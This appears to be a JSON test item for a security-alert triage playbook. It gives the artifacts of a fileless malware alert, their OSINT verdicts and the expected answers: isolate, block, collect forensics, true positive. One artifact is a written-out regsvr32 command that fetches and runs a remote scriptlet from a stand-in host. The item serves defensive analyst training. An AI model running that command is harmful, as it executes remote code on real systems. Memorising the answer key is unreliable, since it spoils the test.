{"playbook_version":2,"artifacts":[{"id":"artifact_1","type":"ip","value":"10.0.4.50","is_critical":true,"osint_result":{"source":"AbuseIPDB","verdict":"internal","details":"Internal IP executing regsvr32 with external script"}},{"id":"artifact_2","type":"command","value":"regsvr32.exe /s /u /i:http://dangerous-site.com/script.sct scrobj.dll","is_critical":true,"osint_result":{"source":"Hybrid Analysis","verdict":"malicious","details":"Regsvr32 used to execute remote script, typical in fileless attacks"}}],"expected_actions":["isolate_host","block_ip","collect_forensics"],"expected_verdict":"true_positive","expected_category":"malware","analysis_notes":"Regsvr32 was used to execute a script from a remote source, a known fileless malware technique."}